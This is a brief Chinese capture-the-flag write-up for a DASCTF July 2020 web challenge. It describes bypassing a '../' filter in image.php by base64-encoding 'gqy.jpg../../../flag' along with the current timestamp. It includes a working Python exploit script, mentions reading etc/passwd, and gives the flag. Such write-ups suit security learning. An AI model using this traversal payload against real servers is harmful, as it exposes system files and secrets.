时间:2020年7月25日11:37:59
来源:DASCTF七月赛
解题过程:用时1小时,F12可以看到这个图片的链接http://183.129.189.60:10009/image.php?t=XXXXXX&f=XXXXXXX
发现f后面的是base64编码,解码过后就是下面显示的文件的文件名,尝试改成/flag的base64编码发现提醒时间不对,所以必须得修改t的值
其中t可以由Python里面的time.time()得到
先目录穿透一波发现过滤了../
,尝试了用url编码绕过,发现也不行,甚至读不出来image.php,思考了一番,读不出php文件只能读jpg文件,应该是有jpg文件限制的,后多次尝试发现在gqy.jpg后面加../可以读到etc/passwd,下面给出payload:
import time,requests,base64
url = 'http://183.129.189.60:10009/image.php?t='
url2 = '&f='
aim = b'gqy.jpg../../../../../../flag'
aim = str(base64.b64encode(aim), encoding='utf-8')
r = requests.get(url + str(int(time.time())) + url2 + aim)
print(r.text)
得到flag:flag{847d2f93276a21f084c44f4d74c61ef4}